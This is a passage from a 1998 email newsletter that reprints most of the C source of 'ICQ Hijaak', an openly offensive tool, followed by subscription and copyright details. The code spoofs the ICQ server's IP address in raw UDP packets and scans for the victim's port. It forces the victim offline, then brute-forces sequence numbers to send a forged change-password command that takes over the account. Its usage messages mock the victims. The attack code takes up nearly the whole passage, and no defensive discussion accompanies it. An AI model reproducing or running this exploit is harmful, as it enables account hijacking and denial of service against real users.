                        *(ptr++) = (dword_param >> 16) & 0xFF;
                        *(ptr++) = (dword_param >> 24) & 0xFF;
                        break;
                case 'W': /* word */
                        word_param = va_arg(ap, u16 );
                        *(ptr++) = word_param & 0xFF;
                        *(ptr++) = (word_param >> 8 ) & 0xFF;
                        break;
                case 'B': /* Byte */
                        byte_param = va_arg(ap, u8 );
                        *(ptr++) = byte_param;
                        break;

                case 'S': /* ICQ string */
                        string_param = va_arg(ap, u8 * );
                        string_length = strlen( string_param ) + 1;
                        *(ptr++) = (string_length ) & 0xFF;
                        *(ptr++) = (string_length >> 8)  & 0xFF;
                        memcpy( ptr, string_param, string_length );
                        ptr += string_length;
                        break;
                case 'D':  /* pure data with length byte */
                        data_length = va_arg(ap, int * );
                        string_param = va_arg(ap, u8 * );
                        memcpy( ptr, string_param , *data_length );
                        ptr += *data_length;
                        break;

                default:
                        fprintf(stderr,"Invalid type %c \n", *(format-1) );
                        return FAILURE;
                }

        }
        /* return the size taken up */
        *size = (ptr - data_ptr );
        return SUCCESS;
}
u32     icq_uin = -1;
u16     icq_seq = 0;
u16     icq_seq2 = 0;
#define ICQ4_VER        0
#define ICQ4_RANDOM     2
#define ICQ4_ZERO       4
#define ICQ4_COMMAND    6
#define ICQ4_SEQ        8
#define ICQ4_SEQ2       10
#define ICQ4_UID        12
#define ICQ4_CHECK      16
#define ICQ4_END        20
void create_icq4_hdr(
                u8      * data_ptr,
                u16     any_number,
                u16     command,
                int     data_size
                 )
{
u32     check;
u32     check2;
u32     keyvalue;
int     count;
int     length;
int     i;
u8      ofs;
u8      val;

length = data_size + ICQ4_END;

memset( data_ptr, 0, ICQ4_END );

word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr, ICQ4_RANDOM) = any_number;
word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr, ICQ4_SEQ ) = icq_seq;
word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID ) = icq_uin;
dword(*data_ptr,ICQ4_CHECK) = 0x0;

check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
        ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
```

```
ofs = random() % length; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256; val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check ^= check2;
dword(*data_ptr,ICQ4_CHECK ) = check;
keyvalue = length * 0x66756B65; keyvalue += check;
count = ( length + 3 ) / 4; count += 3; count /= 4;
for ( i = 0; i < count ; i++ ) {
        u32 * r;
        if ( i == 4 ) continue; r = (u32 *)(data_ptr + (i*4) );
 *r ^= (keyvalue + icq_check_data[i*4] ); }
word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */
}

void    create_icq3_header(     u8 * data_ptr, int * size, u16  command,
 u16  seq1, u16  seq2, u32  UIN )
{
        int     len, len2, err, ofs, val;
        u32     check, check2;

        err = WritePacket( data_ptr,&len, "WWWWL",
                0x03, command, seq1, seq2, UIN );
        if ( err == FAILURE ) {
                printf("Programmer Error in create_icq3_header\n"); exit(-1); }
        check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
                ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
        ofs = random() % len; val = *(data_ptr + ofs );
        check2 = ( ofs << 24 ) | ( val << 16 );
        ofs = random() % 256;
        val = icq_check_data[ ofs ];
        check2 |= ( ofs << 8 ) | ( val );
        check2 ^= 0x00FF00FF; check ^= check2;
        err = WritePacket( (data_ptr + len),&len2,"L", check );
 *size = len + len2; }
static  u8      packet[ 1500 ];
void main( int argc, char ** argv );
void main(  int argc, char ** argv )
{
        int     count;
        int     i;
        u16     j, k;
        struct in_addr * addr_list;
        struct in_addr * target_list;
        int     err;
        struct in_addr  you;
        struct in_addr  me;
        int             rawsock;
        struct sockaddr raddr;
        struct sockaddr_in * r_in = (struct sockaddr_in *)&raddr;
        int     size;
        u8      * data_ptr;
        u8      * hdr_ptr;
        int     hdr_size;
        u16     your_port;
        int     retries;
        int     base_port;
        if ( argc < 5 ) {
                fprintf(stderr,
"--=--==[ ICQ Hijaak ]====-------------------------------==----------\n"
"Author:  wumpus@innocent.com    *    Copyright (c) 1998  Wolvesbane\n"
"[ http://www.rootshell.com/ ] - Usage: \n"
```

```
"       hijaak [options] icq-server target-uin target-ip new-password \n"
"\n"
"icq-server:    Packets will be *spoofed* from the (possibly plural) \n"
"               IP addresses of this parameter. \n"
"\n"
"target-uin:    D'Oh!  \n\n"
"target-ip:     Finding this is up to you.  May the farce be with you\n"
"\nnew-password: D'Oh! Take a guess \n"
"\nNo options are available at this time.\n" );
                exit(-1);
        }
        base_port = 0;
        if ( argc > 5 ) { base_port = atoi( argv[5] ); }
        if (!base_port)  base_port = 1024;
        icq_uin = atol( argv[2] );
        if ( !icq_uin ) {
                fprintf(stderr, "Who do you want me to kill, boss? \n");
                exit(-1); }
        err = MultiResolve(argv[3],&count,&target_list);
        if ( err == -1 ) { herror("Resolving target\n"); exit(-1); }
        if ( count > 1 ) { fprintf(stderr,
"Hey! Moron!  You need to specify an UNAMBIGUOUS victim IP. \n" );
                exit(-1); }
        you = target_list[0];
        free( target_list );
        err = MultiResolve(argv[1],&count,&addr_list);
        if ( err == -1 ){ herror("Resolving ICQ server"); exit(-1); }
        r_in->sin_port = htons( 1984 ); /* DON'T CARE */
        r_in->sin_family = AF_INET; r_in->sin_addr = you;

        hdr_ptr = packet + IP_END + UDP_END;

        rawsock = CreateRawSocket();

        printf("** Scanning for luser's ICQ port ...\n");

        your_port = base_port;
        while ( 1 ) { err = UDPScan(you, your_port, 65535, &your_port );
                if (  ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh!  Can't find a target port.  Better check that target IP again!\n");
                        exit(-1); }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
                        fprintf(stderr,
"UDP scan found invalid port. Retrying...  Hit CTRL-C to exit\n");
                        continue; }
                break;
        }
        printf("*** Got luser's port at %d \n", your_port );
        create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0,
                0, icq_uin  ); retries = 3;
        while ( retries-- ) {
                printf("Trying to knock luser offline.  Attempt %d\n",
                        3 - retries );
                for ( i = 0; i < count ; i++ ) {
                        int     psize;

                        psize = IP_END + UDP_END + hdr_size;
                        make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                                addr_list[i], you, 0x7F );
                        make_udp_hdr( packet, psize - IP_END, 4000,your_port );
                        err = sendto( rawsock, packet, psize, 0,
                                &raddr, sizeof(raddr));
                        if ( err != psize ) { perror("Sending"); exit(-1); }
                }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
                sleep( 3 );     /* Give 'em some time */
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
                sleep(3);
        }
        printf("Retries is %d \n", retries );
        if ( 0 > retries ) { fprintf(stderr,
"Uh Oh!  Something ain't working.  Can't toast the luser.  Sorry, dude.\n");
                exit(-1); }
        /* more time? how long does it take to reconnect? */
        sleep(16);
        printf("** Scanning for luser's _new_ ICQ port ...\n");
        while ( 1 ) {
                err = UDPScan(you, your_port, 65535, &your_port );
                if (  ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find the new port!  Maybe your target is smarter than you?\n");
                        exit(-1); }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
                        fprintf(stderr,
"New UDP scan found invalid port. Retrying...  Hit CTRL-C to exit\n");
                        continue; } break; }
        printf("*** Got luser's new connection at %d \n", your_port );
        printf("*** Hijaaking account now...(*LONG* version)\n");
        for ( k = 0; k < 14 ; k++ ) {
                for ( j = 0; j < 14 ; j++ ) {
                        int     psize;
                        icq_seq = k; icq_seq2 = j;
                        data_ptr = hdr_ptr + ICQ4_END;
                        WritePacket( data_ptr, &size, "S",argv[4] );
                        create_icq4_hdr(hdr_ptr, random()&0xFFFF,
                                COMMAND_CHANGEPASSWORD, size );
                        hdr_size = ICQ4_END;

                        for ( i = 0; i < count ; i++ ) {
                                psize = IP_END + UDP_END + hdr_size + size;
                                make_ip_hdr( packet, psize, IPPROTO_UDP,
                                        0x666, 0, you, addr_list[i], 0x7F );
                                make_udp_hdr( packet, psize - IP_END,
                                        your_port, 4000);
                                err = sendto( rawsock, packet, psize, 0,
                                        &raddr, sizeof(raddr));
                                if ( err != psize ) { perror("Sending");
                                        exit(-1); } usleep( 1000 );
                                err = sendto( rawsock, packet, psize, 0,
                                        &raddr, sizeof(raddr));
                                if ( err != psize ) {
                                        perror("Sending");
                                exit(-1);
                                } } } }
        printf("Disconnecting the remote luser... \n");
        create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0, 0, icq_uin  );
        for ( i = 0; i < count ; i++ ) {
                int     psize;
                psize = IP_END + UDP_END + hdr_size;
                make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                        addr_list[i], you, 0x7F );
                make_udp_hdr( packet, psize - IP_END, 4000,your_port );
                err = sendto( rawsock, packet, psize, 0,
                        &raddr, sizeof(raddr));
                if ( err != psize ) { perror("Sending"); exit(-1); } }
        free( addr_list );
}
```

===

SUBSCRIPTION INFO

To Subscribe: Send email to sch@well.com. In the subject line, write "subscribe tek thots." In the message area, write your email address.

To Unsubscribe: : Send email to sch@well.com. In the subject line, write "unsubscribe tek thots." In the message area, write your email address.

At this point and until further notice, the email list will be handled manually.

===

Online versions of this electronic newsletter will be archived at:
http://www.well.com/user/sch/tekthots.html.

Copyright (C) 1998 Scott C. Holstad
ASCII Tek Thots logo courtesy Teri Osato

Click on to return to Tek Thots.